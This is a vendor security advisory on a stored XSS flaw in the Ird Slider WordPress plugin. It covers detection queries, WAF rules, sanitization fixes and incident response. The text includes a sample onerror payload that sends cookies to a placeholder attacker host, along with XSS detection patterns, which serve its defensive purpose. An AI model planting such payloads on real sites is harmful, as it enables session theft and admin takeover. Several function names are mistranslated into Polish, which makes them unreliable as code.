Nazwa wtyczki	Ird Slider
Type of Vulnerability	Authenticated Stored XSS
CVE Number	CVE-2025-9876
Pilność	Niski
CVE Publish Date	2025-10-03
Source URL	CVE-2025-9876

Urgent: Ird Slider <= 1.0.2 — Authenticated Contributor Stored XSS (CVE-2025-9876)

Streszczenie: A stored cross‑site scripting (XSS) vulnerability affecting Ird Slider versions <= 1.0.2 allows users with Contributor role privileges to inject persistent JavaScript that can execute in the context of other users (including administrators) and site visitors. The vulnerability has been assigned CVE‑2025‑9876. At the time of writing the vendor has not released an official patch. As a WordPress security team operating WP‑Firewall, we break down technical details, concrete detection techniques, step‑by‑step mitigations (both short‑term and developer fixes), WAF rule examples for immediate protection, and an incident response checklist.

Note: If you run WordPress sites that use Ird Slider (<= 1.0.2), treat this as high‑priority for review even though some public risk scoring lists it as “low” — the real impact depends heavily on how the slider content is rendered and who can view plugin administration screens.

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Quick risk snapshot

• Affected software: Ird Slider plugin — vulnerable in versions <= 1.0.2
• Vulnerability type: Stored Cross‑Site Scripting (persistent XSS)
• Privilege required to exploit: Contributor (authenticated)
• CVE: CVE‑2025‑9876
• Official patch status: No vendor patch available at time of writing
• Typical impacts: Session theft, admin account takeover, content insertion/defacement, distribution of malware, site pivoting

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What is stored XSS and why a Contributor can be dangerous

Stored XSS occurs when untrusted data supplied by an attacker is stored on the server (usually in the database) and later rendered back to other users without proper escaping or sanitization. This is particularly dangerous when the stored payload is executed in the browser context of higher‑privileged users (e.g., editors or administrators).

A Contributor user in WordPress can create content — they may not be able to publish posts, but they can create or edit items depending on plugin capabilities. If a plugin permits Contributor input (for example: slide title, caption, HTML, URL fields) and stores that input verbatim, an attacker with a Contributor account can save a malicious payload. When an administrator or site visitor views the slider (or admin screen that lists slider items), the JavaScript runs with the privileges of the viewer, which can lead to full site compromise.

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Technical overview — likely root cause

Although the internal implementation details of the plugin will vary, the common root causes in stored XSS cases are:

• Input from authenticated users is not sanitized server‑side (e.g., plugin saves raw HTML or JS into the DB).
• Output is not escaped when rendered (e.g., echoing raw fields into templates using echo $title Lub echo $caption).
• Lack of capability checks and missing nonces on admin actions.
• If the plugin allows HTML (for rich captions), it fails to use strict allowlists (wp_kses) and instead writes unsanitized content to the DOM.

A typical vulnerable flow:

1. Contributor creates/edits a slider item and inserts: <img src="x" onerror="fetch('https://attacker/p?c='+document.cookie)"/>.
2. The plugin stores this string in meta or a custom table.
3. When an admin opens the slider management screen, or when the slider is rendered on a page that admins can load, the <img> tag is inserted into the page DOM and its onerror handler runs — executing JavaScript in the admin’s browser.

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Realistic exploitation scenarios

1. Admin takeover via session theft
   If admin authentication cookies are not protected by httpOnly/secure flags or if the site uses cookie values readable in JS, an on‑page script can exfiltrate session cookies to an attacker‑controlled endpoint.
2. Persistence of malicious admin scripts
   The attacker can add scripts that create additional admin users (if the script can reach admin APIs), create backdoor posts, or modify theme/plugin files via AJAX calls while the admin is logged in.
3. Malware distribution and SEO poisoning
   Inject a redirect or hidden iframe that serves malware or spam to visitors and search engines.
4. Credential harvesting and phishing
   Display fake admin forms or prompt for credentials, sending submitted data to the attacker.
5. Supply‑chain and lateral movement
   Once an admin session is controlled, attackers can upload malicious plugins or modify other site components to remain persistent.

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Why CVSS and “priority” sometimes mislead

Public CVSS scores (and priority labels) are helpful but don’t capture context. An XSS that requires an authenticated Contributor may be scored lower than an unauthenticated XSS. In practice, the presence of Contributor accounts (many sites allow signups or guest contributors) and the plugin’s UI exposure makes this dangerous. Treat any stored XSS in a content/management context as high risk until proven otherwise.

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Immediate actions for site owners (what to do RIGHT NOW)

If you believe your site uses Ird Slider <= 1.0.2:

1. Temporarily deactivate the plugin
   • Dashboard: Plugins → deactivate Ird Slider
   • Or via WP‑CLI: wp plugin deactivate ird-slider
2. If deactivation is not possible, restrict access to plugin pages
   • Limit access to wp-admin by IP or block the plugin’s admin pages via server rules.
3. Audit Contributor accounts
   • Remove or suspend untrusted accounts; reset credentials for any accounts you didn’t create.
4. Search the database for suspicious content
   • Szukać <script, onerror=, onload=, javascript:, data: URIs in relevant plugin tables or postmeta.
   • Example SQLs:

   -- Search in posts and postmeta:
   SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script%';
   SELECT meta_id, meta_value FROM wp_postmeta WHERE meta_value LIKE '%<script%';
   SELECT option_name FROM wp_options WHERE option_value LIKE '%<script%';
   
   -- Search specifically for possible slider tables (adjust table name if plugin uses custom table):
   SELECT * FROM wp_ird_slider_items WHERE content LIKE '%<script%';

   • WP‑CLI search:

   wp db query "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%<script%';"

5. Check logs and admin actions
   • Look for suspicious admin logins, plugin installs, or file edits.
6. Rotate passwords and keys
   • Reset admin passwords and rotate WordPress salts (wp-config.php AUTH_KEYS) as a precaution.
7. Backups
   • Take a snapshot/backup before making changes to aid investigation.
8. Isolate compromised sites
   • If compromise is suspected (unexpected admin accounts, unexplained file changes), isolate the site from the network or move to maintenance mode.

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Detection: indicators of compromise and scanning

• Unexpected admin user activity (created posts, themes/plugins edited).
• Unknown admin users with elevated rights.
• Files under /wp-content/uploads/ or plugin directories with PHP content (uploads should not contain PHP).
• Presence of unfamiliar scheduled tasks (WP‑Cron entries).
• Outbound requests to unknown domains from the site.
• Visitors reporting redirects or injected content.

Automated checks:

• Search for risky substrings:

wp db query "SELECT option_name FROM wp_options WHERE option_value LIKE '%onerror=%' OR option_value LIKE '%<script%'";

• Grep webroot for possible webshells:

grep -R --include=*.php -n "eval(" /path/to/wordpress
grep -R --include=*.php -n "base64_decode" /path/to/wordpress

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Short‑term virtual patching: WAF rules and examples

If you cannot immediately update or remove the plugin, a WAF (web application firewall) can block exploit attempts. Below are example rules you or your host can use—adapt carefully to your environment and test for false positives.

Note: Rules below are illustrative (ModSecurity style). Test on staging first.

• Block script tags in slider-related POSTs (basic):

SecRule REQUEST_URI "@contains ird-slider" "id:10001,phase:2,deny,status:403,msg:'IRD Slider XSS - block script tags',t:none,chain"
  SecRule ARGS|ARGS_NAMES|REQUEST_BODY "@rx <\s*script" "t:lowercase"

• Block event handler attributes (onerror, onload, onclick) in POST bodies:

SecRule REQUEST_BODY "@rx on(error|load|click|mouseover|mouseenter|focus)\s*=" "id:10002,phase:2,deny,log,msg:'IRD Slider XSS - block event handlers',t:none"

• Block javascript: URIs and data URIs:

SecRule REQUEST_BODY "@rx javascript\s*:" "id:10003,phase:2,deny,log,msg:'IRD Slider XSS - block javascript: URIs'"
SecRule REQUEST_BODY "@rx data:text/html;base64" "id:10004,phase:2,deny,log,msg:'IRD Slider XSS - block data URIs'"

• Generic pattern to block base64 JS payloads:

SecRule REQUEST_BODY "@rx ([A-Za-z0-9+/]{100,}=*)" "id:10005,phase:2,deny,log,msg:'Possible encoded payload',t:none"

• Block requests containing common XSS payload markers when coming from authenticated Contributor accounts (cookie‑based detection):

SecRule REQUEST_HEADERS:Cookie "@rx wordpress_logged_in_" "chain, id:10006,phase:2,pass,nolog"
  SecRule REQUEST_BODY "@rx (<script|onerror=|onload=|javascript:)" "deny,status:403,msg:'Blocked possible persistent XSS attempt by authenticated user'"

Important design notes:

• WAF rules can block legitimate rich HTML inputs (false positives). If the plugin allowed genuine HTML in captions, you must tune rules to the plugin’s specific fields and endpoints.
• Consider whitelisting known good admin IPs for plugin admin pages while leaving the WAF active for public endpoints.

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Developer‑facing fixes (how the plugin should be changed)

Plugin authors must apply defense‑in‑depth:

1. Server‑side input sanitization
   • If fields should be plain text: use dezynfekuj_pole_tekstowe() Lub dezynfekcja_pola_tekstowego().
   • If limited HTML is allowed: use wp_kses() with a strict allowlist.

   Example — saving a caption that allows limited tags:

   $allowed_tags = array(
       'a' => array('href'=>array(), 'title'=>array(), 'rel'=>array()),
       'em' => array(),
       'strong' => array(),
       'br' => array(),
       'span' => array('class'=>array()),
   );
   
   $caption = isset($_POST['caption']) ? wp_kses( $_POST['caption'], $allowed_tags ) : '';
   update_post_meta( $slider_item_id, '_caption', $caption );

2. Escaping output when rendering
   • Always escape output at the last possible moment: esc_html(), esc_attr(), esc_url(), Lub wp_kses_post() as appropriate.

   Example — safe echo:

   echo '<h3 class="slide-title">' . esc_html( $slide_title ) . '</h3>';
   echo '<div class="slide-caption">' . wp_kses( $slide_caption, $allowed_tags ) . '</div>';

3. Capability checks & nonces
   • Verify user capabilities for every admin action:

   if ( ! current_user_can( 'edit_posts' ) ) {
       wp_die( 'Insufficient permissions' );
   }

   • Używać check_admin_referer() to validate nonces on form submissions.
4. Avoid storing unfiltered HTML unless absolutely necessary
   • If you must allow arbitrary HTML, then restrict to trusted roles (administrator/editor) and still apply wp_kses or a stricter parser.
5. Use prepared statements for SQL and avoid direct DB writes without validation.
6. Logging
   • Add logging for suspicious inputs and failed capability checks for future audits.
7. Unit tests and fuzzing
   • Add test cases that simulate malicious payloads being saved and rendered to ensure escaping remains effective.

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Sample patch for a hypothetical save handler

Below is a simplified example showing how a save function should sanitize inputs:

function ird_slider_save_item() {
    if ( ! isset( $_POST['ird_slider_nonce'] ) || ! wp_verify_nonce( $_POST['ird_slider_nonce'], 'ird_slider_save' ) ) {
        wp_die( 'Nonce verification failed' );
    }

    if ( ! current_user_can( 'edit_posts' ) ) {
        wp_die( 'Insufficient permissions' );
    }

    $title = isset( $_POST['title'] ) ? sanitize_text_field( wp_unslash( $_POST['title'] ) ) : '';
    $caption = isset( $_POST['caption'] ) ? wp_kses_post( wp_unslash( $_POST['caption'] ) ) : '';
    $link = isset( $_POST['link'] ) ? esc_url_raw( wp_unslash( $_POST['link'] ) ) : '';

    $data = array(
        'title'   => $title,
        'caption' => $caption,
        'link'    => $link,
    );

    // Save sanitized data to DB...
}

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Post‑compromise checklist and incident response

If you find evidence of a successful exploit:

1. Preserve evidence
   • Make a read‑only snapshot of the filesystem and database for forensics.
2. Remove malicious content
   • Remove payloads from slider items, posts, and options. Use careful search queries and manual review.
3. Rotate credentials and secrets
   • Force password resets for all admin/editor accounts; rotate API keys and update WP salts.
4. Check for persistence mechanisms
   • Inspect plugins, themes and uploads for webshells/backdoors and unexpected PHP files.
5. Revoke sessions
   • Używać wp_destroy_current_session() or change salts to invalidate sessions.
6. Restore from clean backup if available
   • If you have a clean backup taken before the compromise, restore and validate.
7. Perform a full security scan
   • Scan file system for malicious code patterns (base64, eval, gzinflate, etc.) and unknown scheduled tasks.
8. Harden & monitor
   • Apply the developer and WAF mitigations above. Begin continuous monitoring and log aggregation for unusual activity.
9. Disclosure to stakeholders
   • Notify site owners, admins and if necessary, customers once containment is complete.

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Hardening recommendations beyond this issue

• Limit user roles and practice least privilege (review Contributor capabilities).
• Remove unused plugins and themes.
• Keep WordPress core, themes and plugins up to date.
• Enforce strong password policies and 2FA for elevated accounts.
• Use HTTP security headers: Content‑Security‑Policy (CSP), X‑Content‑Type‑Options, X‑Frame‑Options, Referrer‑Policy.
• Set cookies with Secure and HttpOnly flags and consider SameSite.
• Regularly scan the site (automated and manual) for indicators of compromise.

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Example Content‑Security‑Policy to reduce impact of XSS

A strict CSP can reduce the blast radius of XSS by preventing inline scripts and limiting allowed script sources. This is defensive and helpful while awaiting a patch, but requires careful testing.

Example header (start conservative—test first):

Content-Security-Policy: default-src 'self' https:; script-src 'self' 'nonce-<random-nonce>'; object-src 'none'; base-uri 'self'; frame-ancestors 'none';

Note: Adding CSP to a dynamic WordPress site requires generating nonces and updating inline scripts, so treat CSP as a medium‑term hardening step.

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Responsible disclosure and vendor coordination

If you are a researcher or site owner who discovered the exploit, contact the plugin author and provide reproducible steps, payloads and evidence. If the vendor is slow to respond, consider responsible disclosure timelines and safekeeping of evidence. For site owners: apply the mitigations above immediately — don’t wait for a vendor patch.

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How WP‑Firewall helps you now

If you’re managing WordPress sites and want immediate protection while waiting for a vendor patch, we offer managed firewall rules, virtual patching and continuous scanning that help block exploit attempts and detect suspicious activity.

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Developer checklist to prevent similar vulnerabilities in the future

• Validate and sanitize every input, even from authenticated users.
• Escape every output using the right escaping function.
• Enforce capability checks and nonces on every state‑changing action.
• Avoid unfiltered_html capability usage unless strictly required.
• Używać wp_kses() with explicit allowlists if HTML is accepted.
• Add unit and integration tests that assert XSS payloads are neutralized before rendering.
• Consider security reviews or audits for code that handles user content.

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Final notes and recommended timeline for site owners

1. Immediate (hours): Deactivate plugin or block access to plugin endpoints; suspend suspicious contributor accounts; apply WAF rules blocking common payloads.
2. Short term (1–3 days): Scan and clean database and filesystem; rotate credentials; validate site integrity.
3. Medium term (1–4 weeks): Work with plugin vendor to get a patched release; apply permanent patch and update; enable CSP and continued monitoring.
4. Long term: Adopt least privilege, scheduled scans, and managed perimeter protections.

Stored XSS is one of the most abused vulnerability classes because of its persistence and the ease with which it can escalate. If your site uses Ird Slider (<= 1.0.2), treat this as actionable. Follow the steps above, protect admin sessions, and deploy perimeter controls while you await a vendor fix.

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If you’d like, we can provide:

• A custom WAF rule set tuned to your environment (staged and tested).
• A step‑by‑step cleanup playbook tailored to your site with exact SQL and file paths to inspect.
• Assistance detecting whether a stored XSS payload has already executed in your admin environment.

Contact our support team or enable the WP‑Firewall Basic (Free) plan now: https://my.wp-firewall.com/buy/wp-firewall-free-plan/